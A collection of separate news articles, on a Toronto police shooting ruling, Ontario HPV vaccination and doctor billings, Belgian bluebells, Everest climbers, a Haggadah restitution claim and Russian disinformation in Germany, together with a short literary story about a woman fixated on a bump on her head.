Around midnight on July 5, the watchdog says Toronto Police received a 911 call from someone in a third-floor apartment at 502 Gilbert who stated Loku was armed with a hammer, threatening to kill her friend, and refusing to leave the apartment.

Moments later, the unnamed subject officer  the shooter  and a second officer entered the building and confronted Loku in the third-floor hallway. They had their guns drawn and they were pointed at him. The officers were at the east side of the hallway, just past the stairwell, about eight or nine metres away from Loku.

According to the SIU, the officers ordered Loku to stop and drop the hammer, and repeated the order multiple times. Loku began to walk in their direction and said: What you gonna do, come on, shoot me.

The watchdog then says Loku raised the hammer above his head, prompting one officer to shoot twice when Loku was within two to three metres.

SIU director Tony Loparco says the officers gave Loku ample opportunity to drop the hammer as Loku walked toward them. The officer who shot Loku had considered disengaging and creating further distance but dismissed that option because of tight quarters, Loparco said.

The force used against Loku was justifiable in the circumstances because he was to thwarting an imminent hammer attack, Loparco said.

There is no question that the officers were acting in the discharge of their duty to preserve and protect life when they made their way to the third floor and confronted Mr. Loku. They had received word of an assault in progress involving a man armed with a hammer threatening a woman with death and refusing to leave her apartment. From that moment, it was a matter of seconds until the shooting, at which time I have no doubt that the subject officer feared for his life and that of his partner, Loparco wrote in a press release.

The SIU says its account is based on an interview with the officer who shot Loku, a copy of his duty notes, a forensic scene examination, the results of an autopsy and toxicology tests, the police recordings of a 911 call, a partial video of the scene, and the statements of several eyewitnesses.

Lokus death according to witnesses and surveillance video

At the time of the shooting, Robin Hicks lived on the third floor of 502 Gilbert. Just after midnight on July 5, she was awoken by banging coming from down the hall.

She got up, left her apartment and she could see that Loku was at the door of unit 302, down the hall. The apartment is directly above Lokus second-floor unit, and in the previous weeks, Loku had been complaining to Hicks about the noise from the apartment above at all hours, keeping him from sleeping.

Hicks walked down the hall and saw that Loku was holding a hammer and was pleading with the people inside 302 to stop making noise. Hicks said she could hear that one of the women in the unit was calling police.

Reg Lamontagne, Hicks friend who was staying at her apartment, had also awoken, and soon followed Hicks down the hallway to unit 302. Lamontagne and Hicks began attempting to calm down Loku, who had the hammer in hand and was banging it against the wall and door.

Lamontagne said Loku was banging the hammer on the door of the apartment to make a point about the noise they were creating  he was trying to reason with them to cut the noise. Both say that if Loku had wanted to harm the women inside the apartment, he had the opportunity and didnt take it.

They say Loku listened when they suggested he leave the apartment. He brought the hammer down to his side as the trio walked back to Hicks unit. (He was) calm, he was listening, he was paying attention, said Lamontagne.

Surveillance video shows Hicks and Lamontagne bringing Loku back to Hicks unit, according to Steve Lurie, the executive director of the Canadian Mental Health Association Toronto branch, who has seen the video because the building is leased by CMHA. Lurie says the buildings cameras did not capture the initial altercation at 302, but shows him slowly walking back to Hicks unit, then briefly inside, before Loku and Hicks comes back outside.

According to Lurie, Loku then turns his attention toward 302, and begins walking to where police would have been arriving. He is moving very, very slowly with the hammer close to his waist. The hammer is lowered. There is never a point when it looks like he is going after someone, Lurie said.

The surveillance video, which was not properly functioning that night, then cuts out, according to Lurie. The SIU obtained definitive confirmation no footage was deleted or altered afterwards, according to the watchdogs spokesperson.

Because of the malfunction, the video it misses the key moment when Loku was shot.

Hicks, who was standing in the hall, says she witnessed the two officers arrival and the shooting. She said a female officer arrived first and stood alone at the top of the third-floor landing, near 302. Hicks, who was standing behind Loku, said she then attempted to speak to the officer to explain, but soon after, a male officer arrived.

Hicks says Loku was not holding the hammer in a threatening manner and that it did not appear that he was about to harm police.

Both officers were yelling for Loku to drop the weapon, Hicks said, adding that she was, too. They told him to drop it one more time but he didnt, and thats when the male officer shot, Hicks said. She believes it was under a minute or two from when the police arrived to when Loku was shot.

Andrew died right in front of me. There was no reason for it.

Lamontagne, who said he was just inside the door of the apartment at the time of the shooting, believes he heard Loku say, before he was shot, What, you going to shoot me now? in a disbelieving manner. He does not believe Loku was egging police on, saying come on, shoot me, as the SIU says.

Because Loku had calmed down and was not a threat, police had other options than shooting Loku, Lamontagne said. This was a bad shoot.

Sometime after the shooting, the surveillance camera comes to life again and the police, who are very blurry, appear to be leaning over Loku, Lurie said.

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I am a machine. This is my reality now.

Im not actually a machine. I mean, Im as human as anyone else, anyhow, more or less. But those two sentences are the ones that saved my life, or maybe more accurately saved me from myself.

My name is Lydia Speaker. I am a machine. I was created on August 23, 1981. My body took a small breath that day and has continued to breathe ever since. My heart has continued pumping. Other things too, kidneys and so forth, but Im not a doctor or taxidermist so lets live with the gist of it.

Today I added a new sentence to my group of sentences. Its not actually a sentence, and maybe thats why for some reason in this particular case Im comfortable calling it a mantra, but anyhow here it is: ass potatoes.

I dont know what it means or where it came from, but I was staring at nothing earlier and suddenly there it was, immaculate, ass potatoes. I think if I were in a hostage situation, and the hostage takers were threatening to kill a hostage, and that hostage were me, Id think  or maybe even say out loud  ass potatoes, and, well, wed just see what happened then wouldnt we.

I am a machine. This is my reality now.

Ass potatoes.

A friend who tells you about their dreams is no friend at all, but Im not exactly sure what our relationship is, so, Im going to talk about this recurring dream I have even though Im aware the most entertaining thing about it is just how boring it is. The first time I had this dream it was no big deal. In fact it was so stupidly banal that I told several people about it. Can you believe how stupid my dreams are? But then it kept happening, digging itself further into me, to the point where I think there is probably now a physical part of my brain dedicated to creating this particular dream every night.

Im in my bathroom for some reason. (I realize it seems like Im trying to gloss over that I just pooped, but Im really not. Have you ever pooped in a dream?) Im in my bathroom, and I go to pick up my towel from the rack, and theres a wet spot on it. For some reason it didnt dry like it usually does. Maybe I had the towel folded strangely in that spot? Maybe somehow pressure was being applied to it (by what though?) preventing it from drying properly? I dry my hands, put the towel back on the rack, and go about my day.

That was the first time I had the dream. But then I kept having it, and each time after that first time I carried with me in the dream the knowledge that this wasnt the first time. Why wont that spot just dry?

Do you feel frustrated in your life?

This question was put to me by Phil, sitting across from me in a pub, after I described these dreams to him. We were on our third date. Does it make me a millennial because I believe sex is OK on the first date but you shouldnt talk about your dreams until the third? I doubt it. I own a bread maker.

I dont know, I said. I mean, doesnt everyone feel frustrated in their life?

I dont.

I hated Phil so much in that moment. Thats not actually true, I just said that because it seemed a more natural way to describe my reaction than Any emotions of which I was capable pushed the eject button. I felt nothing, and I wasnt capable of feeling anything, because the basket that contained my potential emotions was suddenly empty. Who builds a basket with an eject button?

Was he being honest with me? With himself? Id experienced people saying things like this before of course, on TV, in movies, or mostly on Facebook, but unlike all of those people Phil had actually seemed like a decent person. Maybe he was. Maybe he was too good for me. He became unrelatable to me in that moment and I knew there would be no fourth date, but I still went back to his place that night because I wanted to take one more look through his medicine cabinet and I felt it was important to say goodbye to his dog.

We were making out on his couch and I opened my eyes and stared at the skin on his face. Its so weird that different people are different ages. One of his hands was gently stroking my head and hair and at some point I became aware that he was lingering on a specific spot on my head. He opened his eyes.

What is that? he asked.

My head?

Theres a bump on it. Did your cartoon nemesis drop an anvil on you?

I felt around my head and indeed there was a bump on it. I never noticed that before, I said.

Im sure its nothing, Phil said.

But I knew it was something. It was the spot where my dream came from.

The next day, in my own bathroom, I stood in front of the mirror playing with the bump on my head. It felt hard. I thought about taking a selfie to send to Phil but remembered that he wasnt frustrated in his life and I lost the urge. Maybe I should biopsy it myself, I thought. If I waited six months for a doctor to do it the only difference would be anesthetic, but by that time it would be 10 times the size, my dream bump would be the legal person and I would be seen as its bump. I went into the kitchen and looked at my knives. I had an especially sharp butcher knife. I imagined I could just swing it at my head and expertly slice off my bump. No downside. There was a heavy cookbook next to my knives. When I was younger Id had a ganglion cyst on my wrist. It went away on its own, but when researching it Id discovered multiple people saying theyd dealt with theirs by smashing it with a large book. Though the butcher knife made more sense to me, the cookbook solution seemed the more socially acceptable option should I ever have to explain my actions.

I went back to the bathroom carrying my cookbook. I opened it up and read the inscription. It was from my mother.

Dear Lyddie,

Im so proud of both of you.

Love,

Mom

I had no idea what she was talking about. Both of you must have meant me and Danny. Maybe when wed moved in together?

I located the bump with my left hand and held the cookbook over my head with my right. I looked at myself in the mirror. I looked good. Dr. Lydia Speaker, MD. I imagined I was in one of those medical theatres. People used to be afraid of her unorthodox medical practices, but she is now considered one of the great surgeons of modern times.

I smashed the book down on my head and screamed. My vision went blurry in my right eye and I dropped the cookbook into the toilet. Some water splashed on my foot.

I went to a doctor the next day.

Just a bump, he said, after looking at it. He was too old. He probably said just a bump when people showed up missing limbs. He didnt know about modern medicine. It felt presumptuous to try to teach him, but I knew it wasnt just a bump. Despite my recent surgical shortcoming I still felt the reputation of Dr. Lydia Speaker, MD, as a surgeon and medical genius, was irreproachable.

Do you think it could be where dreams come from? I asked.

Excuse me?

Do you think it could be a tumour?

I wouldnt say so at this point. Just a bump. Have you bumped your head recently?

No. I didnt see this as a lie. The bump was there before Id tried to fix it. Besides, I hadnt technically bumped my head so much as I had bashed it.

Just a bump. People bump their heads all the time without realizing it. It will go away in a couple weeks.

Should I come back if it doesnt?

Come back if it gets bigger.

Not if it stays the same?

Its just a bump.

I took a deep breath. I am a machine. This is my reality now.

Ass potatoes.

Danny left me because I couldnt have kids. You dont even want kids, Id said. But I want it to be a choice, not a mandate, hed said. What a f---er.

I was 12 when I found out I couldnt have kids. My mother was there when the doctor explained it to me. I knew I didnt want a baby right then, but hearing the news I somehow felt simultaneously lied to and attacked. I didnt know what to make of it. My mother cried a bit on the way to the car. I felt OK. When I got home I went upstairs and grabbed Bibby (my stuffed bear) and held him and cried into his stuffed body and then felt guilty that Bibby would think my crying meant he wasnt enough for me so I stopped and assured him he was.

When I was 12 I didnt want kids. Some girls that age do, but I wasnt one of them. I didnt not want kids, I just didnt have an overwhelming urge. I had a friend, Beth, who told me I want to have a baby as soon as I can. I will go to college, and meet a boy, and fall in love, and graduate, and have a baby. She did do those things. Theyre all very easy things to do, and she did them. I only know her on Facebook now. She looks very happy.

That was 12. I dont walk around now saying Hi, Im Lydia, nice to meet you, by the way I cant bear children, which has led to a lot of variations of a conversation where I say I dont think Im going to have kids and someone older or the same age or (now) younger says oh you say that now but youll change your mind one day. Maybe theyre right. Maybe I will will my barren body to produce life. Hell, they put a man on the moon.

I spent my 20s worrying that one day Id be overcome with the need to have a baby, and now that Im in my 30s I worry more. Sometimes I think I can hear my insides screaming for one, but other times I think Im just imagining it. Other times its a homeless person a couple blocks away.

I think I might not want a baby. Taking care of a human seems like a big responsibility, more so than taking care of a plant, or even a dog. I dont really like being responsible for people. But, it would be nice to have someone who felt obligated to sit by my side as my tumour slowly eats up the space where my brain is used to existing.

I am a machine.

I think I might not want a baby. But it would be nice to know by being given the chance.

Maybe Danny had a point. The piece of s--t.

I was riding the subway back from the doctors when someone sat next to me. A man. This in itself felt aggressive, as there were other spaces he could have sat at that moment that werent right next to another person. He didnt look homeless, he looked like someone who should have at least a basic understanding of human social interaction. Actually he looked sort of nice in a normal job, boring music kind of way. I felt a little alone. I hoped maybe he would put his arm around me.

When he got off at the very next stop I was sure he belonged in jail.

He was replaced by three girls who were prettier than me. I could tell they were prettier because they were carrying yoga mats and sounded like birds and because a man around my age who got on at the same time sat closer to them than he did to me, despite the squawking.

I went to a yoga class once. It seemed like everyone else in the class had an advanced understanding of when it was OK to fart and when it wasnt, so I didnt go back.

The subway came to a stop, and a minute later the lights went out. It only took a few moments of waiting for an announcement about the delay to realize there wasnt going to be one. Id imagined situations like this before. Inevitably, as the most intelligent person on the train, I became a reluctant hero. Time to sit silently in the dark and somehow let that happen.

What do you guys think is happening? It was the mans voice. He was going to use communal fear to try to ingratiate himself with the yoga girls, who were being dimly lit by one of their cellphone screens. Twenty feet above us everyone we knew had probably been wiped out in a nuclear blast and this guy was scheming ways to get girls. Perhaps the weight of having to repopulate the charred hellscape awaiting us above had not yet borne down on him. I sat in the shadows and because I knew no one would see me I made a really creepy smile.

A few minutes later the lights came back on and the subway started moving. We crossed a bridge. No charred hellscape. The man was on his own again and the girls were talking and seemed happy. In the meantime my tumour plotted to destroy me and there was nothing I could do about it and I wasnt sure if I should give it a name.

I am a machine. This is my reality now.

Ass potatoes.

Josh Herzog lives in Toronto. He writes: Im just a guy who doesnt like talking about himself. Ive never killed anyone but I dont care if you have. Im sure you had your reasons.

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Boys will be able to get free vaccinations against HPV infection and the cancers that can result from it starting in September.

Health Minister Eric Hoskins said the human papilloma virus program  now limited to girls  is being expanded to all students in Grade 7.

The province will be protecting more youth from HPV-related cancers at an age when the vaccine can be most effective, Dr. David Williams, Ontarios chief medical officer of health, added in a statement Thursday.

Hoskins said vaccinations for boys is an evidence-based decision and the right thing to do because HPV causes an average of 254 deaths and almost 1,100 cases of cancer annually in the province.

The vaccine, commonly known as Gardasil, has been approved by Health Canada and is recommended by the countrys National Advisory Council on Immunization.

Girls in Grade 8 are now covered by the vaccination program but all children will be able to catch up on any missed doses until the end of Grade 12.

HPV is the most common sexually transmitted infection and can lead to cervical, genital and throat cancers, most typically between the ages between 40 and 70.

That is why medical officials recommend giving the vaccinations  which come in a series of shots  to children before they become sexually active.

Its estimated that preventing those cancers could save the health-care system millions and millions of dollars down the road.

The vaccine has stirred controversy in some circles because of perceptions it encourages sexual activity.

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An eye specialist who charged the Ontario Health Insurance Plan a staggering $6.6 million last year is one of 500 doctors on a secret list billing more than $1 million annually, Health Minister Eric Hoskins said Friday.

He revealed the numbers  but refused to release doctors names for privacy reasons  to pressure the Ontario Medical Association as the government seeks to lower the amounts paid for some medical services.

The gambit comes as the Star has been trying for more than two years to get access to physician billings, by name, through access to information legislation. The OMA has opposed the Stars effort.

A decision expected soon from Information and Privacy Commissioner Brian Beamish will guide Hoskins, who said he wont pre-judge or pre-empt the findings. Two decades ago, then-health minister Jim Wilson was forced to step aside while the information and privacy commissioner investigated, and was later reinstated.

OMA president Dr. Mike Toth accused Hoskins Friday of trying to negotiate in public after talks on a contract with the government broke off in January 2015.

Toth issued a brief statement that did not touch on the high billings. It called for binding arbitration to reach a fair and predictable physician agreement . . . to strengthen the quality care patients need and deserve.

Hoskins said hes willing to consider arbitration but insisted many fees, such as for methadone testing and assessing CT scans and MRIs, are outdated given that technological advances mean tasks and treatments can now be performed much more quickly.

The system is badly out of balance with two per cent of doctors  mostly a small cadre of specialists  taking 10 per cent of the $11.6 billion set aside to pay doctors for their services, offices, staff and equipment, he added.

This isnt about hard-working family doctors and pediatricians, said Hoskins, a family physician himself.

Unpredictable and, frankly, uncontrolled billing by some doctors is a problem that leaves less for family doctors and others.

Hoskins suggested the OMA play a Robin Hood role in rebalancing fees that reward volume over value and leave less for other doctors, nurses and home care.

If the OMA wont agree to lower fees as the government seeks to eliminate deficits by 2018, Hoskins threatened to impose them as he did in September with across-the-board cuts of 1.3 per cent. That move infuriated doctors.

If necessary . . . we will be forced to make changes, Hoskins warned.

The top-billing doctor was an ophthalmologist  one of three specialties that take in the most cash, with 85 of them billing more than $1 million.

Diagnostic radiologists led the pack, with 154 billing $1 million or more. Another 57 cardiologists hit or surpassed the same threshold.

No one was identified as Hoskins and the Star await the decision from Beamish on releasing names and billings.

One of the privacy commissioners predecessors advised the legislature 19 years ago that revealing doctor billings by name would be a violation of the Freedom of Information and Protection of Privacy Act.

Since that time, the ground has shifted in terms of the need for public scrutiny of government spending. Information that was previously considered confidential, such as public servant salaries, expenses and contracts, are now proactively disclosed, Beamish said Friday.

Once the decision is released, the minister of health and long-term care will be in a better position to decide whether he may proactively disclose this information.

A Star attempt to get the names and billings in 2014 was denied. The health ministrys privacy office said the release would be considered an unjustified invasion of privacy.

Manitoba and British Columbia make physician-identified billings public and Ontario releases an annual list of public servants earning more than $100,000, but only doctors who directly work for hospitals or health centres are on it.

The OMA has argued that physicians are independent contractors, not public servants. As well, the organization says that billings are not the same as earnings because they do not reflect how much doctors have to pay in overhead costs.

New Democrat MPP France Gelinas, who has proposed a private members bill to release doctor billings by name, said it would make the information public for everyone to see and question.

Progressive Conservative Leader Patrick Brown said hes concerned that releasing the billings would be misleading because the figures do not account for sometimes hefty overhead costs for staff and equipment.

Its not actually salary . . . I think transparency is a wonderful thing and if you could actually show salaries then I think thats fair game.

Hoskins said the budget for paying doctors was increased by $140 million this year and that the average billing by a physician in the province is $368,000, out of which they must pay their expenses.

That makes them the best-paid doctors in Canada, said Hoskins, who noted physicians have billed $744 million more than the budget set for them in the last four years.

When they bill more than the budget, the money has to come from elsewhere in the health-care system, limiting our ability to invest in home care, hospitals, mental health and other services.

The fee cuts for doctors last September were on top of a 2.65 per cent across-the-board cut the previous February. There have also been fee cuts targeted at different specialties, and taken together they add up to 6.9 per cent in cuts, the OMA has said.

The government cut fees because it is trying to cap the annual physician services budget at $11.6 billion.

Doctors argue that they are charging beyond the cap because they are doing more work by treating a growing and aging population.

The government contends the physician services budget was set taking demographic changes into account. As well, it argues that a negotiating framework created at the insistence of the OMA allowed it to take unilateral action.

A breakaway group of physicians, Concerned Doctors of Ontario, is planning to hold a rally at Queen's Park on Saturday.

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Near Halle, Belgium, the Hallerboss bluebell bloom rivals the expanse of The Wizard of Ozs poppy field (but its far less deadly). Blue blossoms carpet the forest floor for a few weeks every April, tempting a growing number of tourists and photographers to visit.

The forest has a long history dating back to 686 A.D., but was nearly destroyed by the German army during the First World War. Most of its original trees were felled, and wild bluebells took over and spread across more than 300 acres. When the forest became the property of the Belgian government following the war, it was reforested and remains under the governments care today.

Since April 7, the management agency at Belgiums Hallerbos national forest has been posting near daily updates heralding the beginnings of their legendary bluebell bloom.

Its not the deep blue purple carpet yet, but the typical fairy tale starts spreading in the forest, it posted on April 9.

There are more blooming bluebells every day. The flanks of the valleys as well are slowly changing from green to purple blue, it relayed on April 13. Each post features a video to help tourists gauge when the blooms are hitting their peak, but the tone shifted on the next day.

Please stay on the paths at all times, the April 14 post directed in bold after giving its update on beech leaves and the purple blue flower carpet.

And on April 17, the agency explained that there are a lot of official paths along which this wonderful spring event can be enjoyed, but a lot of visitors walk on tree leaves or through the flowers, or to sit down in the flowers to take pictures. That is a big pity, because that is exactly what bluebells cannot handle. . . By trampling them, this tiny flower bulb is destroyed and there will not be a flower, only a bare patch next year. And then in more bold: Always stay on the official paths and never step on places where there are dry tree leaves, do not trample on the bluebells and their leaves.

This fairy tale forest is so much more beautiful without trampled flowers and barren patches, the agency noted in its update on April 19.

The sea of blue blooms makes the perfect backdrop for portraits. But as this years blossom season nears its end, the forest management agency says that all the photographers and visitors have created patches that have merged into paths through the blooms. These bald areas wont create more flowers next year, they write. Only time will tell if the flower carpet can survive the invasion of iPhone-wielding tourists 100 years after it survived the Germans.

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KATHMANDU, NEPALThe third time Dutch climber Eric Arnold tried and failed to reach the summit of Mount Everest, he was nearly killed by a thundering wall of snow, rock and ice unleashed by the 7.8-magnitude earthquake that struck Nepal last year. The avalanche that coursed through Everest Base Camp sent him sprawling, choking on snow but alive. Eighteen others were not so lucky.

Now Arnold, 36, is among 100 or so climbers returning to Nepal after surviving the worst disaster in Everests modern history, determined to tackle the sacred mountain once again. Dozens are making their way to base camp, with the first trips through the mountains treacherous Khumbu icefall expected to begin within days.

Arnold knows the odds of success. Five years ago, bad weather forced him to turn back mere yards from the summit. Two years ago, he tried again, but the climbing season was cancelled after 16 Nepali guides were crushed to death by falling ice. Then, last April 25, came the earthquake that left 8,000 dead across the country. The deadly avalanche it spawned on Everest might have prompted others to give up their quest to climb the mountain, but not Arnold.

I didnt decide immediately to go back. I waited until my emotions were more stable, Arnold said. But Mount Everest is my big childhood dream.

Nepali and Western guide companies and climbers say that this season is likely to be one of the quietest in recent memory on Everest: According to Nepals tourism department, 279 climbers have official permits so far, the lowest number since 2011. While not unexpected, its still a blow to a struggling economy in a country where tourism is the biggest industry and Everests gleaming peak is the magnetic draw.

I think a lot of people are taking a year off, waiting and seeing what happens, said Adrian Ballinger, an earthquake survivor and longtime guide. I still see a huge amount of interest in Everest. The fact that there are risks in climbing Everest is part of its allure.

These survivors are returning to a Himalayan land scarred not just by the April 25 temblor but by a devastating aftershock May 12.

Ruined houses dot the landscape, business is slow in the tea houses, and hundreds of thousands of residents are still displaced, waiting for government funds to rebuild. To make matters worse, a political furor over Nepals newly drafted constitution sparked a six-month border blockade by a tribal community in the countrys lowlands that resulted in gas and cooking-oil shortages.

Last year was a very dark year, said Ananda Prasad Pokharel, Nepals minister for culture, tourism and civil aviation. Now we are waiting for a fresh start for the country.

Reviving Nepals mountaineering trade is crucial to stabilizing the economy, tourism officials say. Nepals main climbing season brought in $26 million (U.S.) in 2012, according to Ang Tshering Sherpa, head of the Nepal Mountaineering Association, with trips to Everest contributing nearly half that.

Yet the Everest tragedies in 2014 and 2015 played out against a backdrop of rising concern over conditions on the mountain. A growing number of climbers and new expedition businesses have left a trail of environmental devastation in their wake. Further, a recent report estimated that global warming could shrink Everests glaciers 70 per cent by the end of the century.

The 2014 avalanche also exposed long-simmering resentment over the economic disparities between foreign clients and the local guides from the ethnic Sherpa community, who have demanded better insurance and safety measures.

Sherpas make between $5,000 and $12,000 for their work, depending on experience and skill level, Ang Tshering Sherpa said, while some foreign climbers can shell out up to $100,000 for a package including airfare and gear.

Some 42 teams from countries such as Iran, Japan, Australia and India began making their way up to base camp in recent days, hiking along the well-worn route, mingling with yak trains tinkling with tiny bells, ascending through pine groves to colder, more-barren terrain.

At base camp, as many 1,500 climbers, cooks, medical assistants, guides and other staff gather each season. The rubble of broken tent posts and ripped backpacks left by the avalanche has long since been cleared, with shiny new tents erected in their place.

There is a quiet apprehension around camp, longtime Everest chronicler Alan Arnette wrote in his blog when he arrived April 10. During conversations, eyes tend to linger on the hanging columns of glacial ice on nearby peaks, he said.

And climbers say everybody is wondering about conditions at the 29,029-foot summit, untouched now for more than a year.

Arnold, back for his fourth attempt, just hopes there are no more calamities.

A lot of people say, Maybe its not your turn, maybe its not your fate, maybe the mountain is telling you not to climb it,  he said. But I still have a passion for it. When I realized that, I decided I have to go back.

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JERUSALEMThe grandchildren of one of the earliest Jewish victims of the Nazis are laying claim to a jewel of Israels top museum: the worlds oldest illustrated Passover manuscript.

The descendants of a German Jewish lawmaker say the famed Birds Head Haggadah, a medieval copy of the text read around Jewish dinner tables on Passover, was stolen from their family during the Nazi era and sold without the familys consent 70 years ago to the predecessor of the Israel Museum in Jerusalem  an act the family calls a long-standing illegal and moral injustice.

The medieval manuscript, which tells the biblical tale of the Israelite exodus from Egypt, has long vexed scholars with its peculiar drawings of Jewish figures with birdlike heads. Now, a new page in the manuscripts history is being written, as a high-profile American attorney who restored looted masterpieces by artist Gustav Klimt to their Jewish heir  a courtroom drama made famous in the recent Hollywood filmWoman in Gold  is taking on the case.

The manuscript is currently displayed behind glass in a darkened room at the Israel Museum in a special exhibit ahead of the weeklong Passover holiday, which begins Friday. The family wants the manuscript to remain at the museum, but it demands the museum pay compensation and rename the manuscript after the family, or face a lawsuit.

We want a compromise, said Eli Barzilai, 75, who lives in Jerusalem.

He is leading the restitution demand in Jerusalem on behalf of his cousins in the United States and Berlin. He said the manuscript is so rare, its value is priceless.

The Art Newspaper, which first reported the ownership claim, said the family is seeking less than $10 million (U.S.), but neither Barzilai nor the familys lawyer would cite a figure to The Associated Press.

If we go to court, he said, theres no turning back.

Barzilai, who is spending Passover on a tour of China with his wife, said his lawyer and the Israel Museum had exchanged documentation regarding the Haggadah and that Barzilai would meet museum staff for the first time in May.

The museum said in a statement that it looks forward to meeting with Mr. Barzilai, following its several suggestions that he do so, and to learning about whatever new information and documentation he has and to sharing what the museum knows with him.

In an email exchange provided by Barzilais lawyer, the museums lawyer acknowledged the Marum familys ownership of the Haggadah for a period of time up until 1933.

Written in southern Germany around 1300 by a scribe identified only as Menahem, the Birds Head Haggadah has long been a riddle. Marc Michael Epstein, Vassar College professor and author of the book The Medieval Haggadah, called it, as mysterious as the Pyramids of Giza, the monoliths of Easter Island, or Mona Lisas smile.

Much of the enigma surrounds its strange illustrations of Jewish figures. Epstein believes the heads on the figures are those of griffins, a beloved mythical creature, and the drawings were meant to offer a positive representation of Jews while skirting a biblical prohibition against depicting human likenesses.

Barzilai says the 14th-century Haggadah was a wedding gift from his grandmothers family to his grandfather, Ludwig Marum, a lawyer from the German town of Karlsruhe who served in Germanys parliament and opposed Adolf Hitler.

The Nazis paraded Marum and other opponents across town before taking them away. Marum was later killed at the Kislau concentration camp.

A Jewish lawyer named Shimon Jeselsohn who worked with Marum managed to flee Germany and eventually moved to Israel after the Second World War. One day, he read in the newspaper about a special Haggadah purchased by the Bezalel National Museum, the forerunner to the Israel Museum.

Jeselsohn recognized it as the Birds Head Haggadah. Marum had kept it in his law office, Jeselsohn said in his memoirs.

Curious as to how the manuscript ended up in Jerusalem, Jeselsohn began making inquiries. The museum director told him a Jewish immigrant from Karlsruhe brought it after the war. When Jeselsohn asked the immigrant where he got it, he said a Jewish doctor had given it to him. But when the doctor denied it, the immigrant offered no further explanation and Jeselsohn grew suspicious.

He wrote to Barzilais aunt, Elisabeth, who had survived the Second World War and moved to New York, to update her about the Haggadahs journey.

After a visit to Israel in 1984 to see the Haggadah at the Israel Museum with Barzilai, Elisabeth wrote to the museum that she believed the immigrant who had brought it to Jerusalem had no right to sell it, but that the Marum family wanted it to remain at the museum for the benefit of the public.

For years, the family did not act. Dominique Avery, Elisabeths daughter, says her late mother thought she had no recourse to retrieve the manuscript and she deferred to Barzilai.

After Barzilai heard a speech last year at the Israel Museum by E. Randol Schoenberg, the lawyer who retrieved the Klimt paintings, Barzilai enlisted the lawyers help.

The familys demands are delicate, because they are levelled at the leading museum of a country that gave refuge to Holocaust survivors and that has long seen itself as a caretaker of the cultural artifacts of Holocaust victims.

The Israel Museum should be even more sensitive to the claimants side, said Schoenberg.

The museum said it has in recent years restituted 18 works looted during the Second World War and is in the process of restituting three more. There are two researchers dedicated to combing through the museums collection for looted objects, the museum said.

Why Barzilai waited until his 70s to pursue the manuscript is another question mark in the story. Barzilai spent his childhood with an adopted family and only learned as a teenager that he had been adopted and that his biological parents had perished in the Holocaust.

It was too painful a truth to bear, he said, and he wanted to forget his connection to the Marum family. We were two separate identities, he said. Even when he accompanied his aunt Elisabeth to see the Haggadah, he said he took no special interest in the manuscript.

Through his quest to reclaim the Haggadah at this stage in his life, Barzilai says he has reclaimed a part of himself.

The Haggadah, Barzilai said, was a trigger.

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BERLINIt was the kind of crime that sears the soul, the gang rape of a 13-year-old ethnic Russian girl by a trio of immigrants in Germany.

The first reports galvanized the Russian diaspora, bringing tens of thousands into the streets to protest Chancellor Angela Merkels open-door policy.

Trouble is, the attack never happened. It was just a teenagers tall tale, police quickly concluded.

German officials say the controversy, known as the Lisa Affair, was ginned up by Russian President Vladimir Putins propaganda machine to undermine Merkel in the run-up to last months regional elections, which resulted in stinging losses for her party. The worry now in Berlin, Brussels and beyond is that with Britain poised for a historic referendum on European Union membership and national votes in France and Germany next year, Putin will intensify efforts to divide the 28-member bloc.

Russia is starting to weaponize electoral processes in Europe, said Joerg Forbrig, senior program director of the German Marshall Fund of the U.S. in Berlin. The Lisa Affair was a real eye-opener.

The mobilization in Germany shows a reach by the Kremlin into the political workings of Europes largest economy that goes far beyond the frequent policy hazings meted out by its English-language media arms, RT television and the Sputnik news service.

Putins longtime foreign minister, Sergei Lavrov, broke with diplomatic convention in late January to accuse Germany of a coverup in the Lisa Affair. That outraged Merkels government, prompted Lavrovs counterpart to issue a rare personal rebuke and led the chancellery to order the BND spy agency to probe the Kremlins role in the scandal, the officials in Berlin said.

Germany already has a special unit tasked with countering Russian disinformation and it works on the assumption that Putins goal is to topple EU-friendly governments and replace them with pro-Russia parties, regardless of where they fall on the political spectrum, according to the officials.

In France, this support is financial. Marine Le Pens far-right National Front has received funding from a Russian lender and is seeking 25 million ($35.9 million Canadian), from others to bankroll its 2017 presidential campaign.

Le Pen, Putins most prominent political supporter in Western Europe, is currently polling second and though her party failed to win a single region in December elections, it received 6.8 million votes, the most ever.

That shows the continent is moving toward a political realignment more favourable to the Kremlin, according to Konstantin Malofeev, a Russian multimillionaire whose former employees played major roles in Ukraines rebellion and who now advocates for closer ties with Europes far right.

This is the start of the end of the system, Malofeev said in Moscow.

The next major arena for Russian meddling is the U.K., which will hold a referendum in June on whether to stay in the EU. And with the vote too close to call, the Russian Embassy in London took the unusual step of questioning the competence of its host nations elected leader.

After Prime Minister David Cameron defended membership in the bloc by noting it allowed Britain to lead Europes response to Putins aggression in Ukraine, the embassy shot back via Twitter, saying dragging Russia into the Brexit debate suggested Cameron cannot win the argument on its merits.

A major Brexit cheerleader is Sputnik, which warned recently that Britain would suffer mass sex attacks much like the ones in Cologne that preceded the Lisa Affair if it doesnt leave the EU, citing Nigel Farage, a Putin admirer who heads the U.K. Independence Party.

The Kremlin mouthpiece took a similar tack in the Netherlands, where voters rejected an EU treaty with Ukraine. Sputnik hailed the defeat as a step toward Nexit, in a story based on one interview with a regional Dutch reporter.

Putins active propaganda campaign prompted Britain, Denmark, Lithuania and Estonia to urge the EU to take more robust countermeasures, resulting in the creation of the East StratCom Task Force, which views the Lisa operation as punishment for Merkels success in uniting Europe on sanctions, a diplomat close to the group said.

The Kremlin and the Foreign Ministry have said that Russias only interest in the affair is in protecting the rights of ethnic Russians abroad. A lawyer for Lisas family didnt respond to requests for comment.

By all accounts, Lisa, whose family is from the former Soviet quarter of Berlin, disappeared Jan. 11 and resurfaced 30 hours later. The Kremlins main broadcaster, Channel One, which is viewed by many of Germanys four million Russian speakers, said she told her parents shed been abducted and raped on her way to school by three foreigners. But investigators later determined shed spent the night with a male friend because of problems at school.

By that time, the political damage to Merkel had been done.

All it took was a spark for things to spill over, said Heinrich Groth, the chairman of a lobby group for Russian Germans who helped organize the January protests that were attended by about 30,000 people.

Groth said hes already been approached about joining forces with Pegida, an anti-immigrant movement that has drawn thousands to its rallies since it emerged last year, and that his views are similar to those of the anti-euro Alternative for Germany, or AfD. The arrival of more than one million refugees and the attacks in Cologne and other cities on New Years Eve have helped push Merkels approval rating to its lowest level in more than four years.

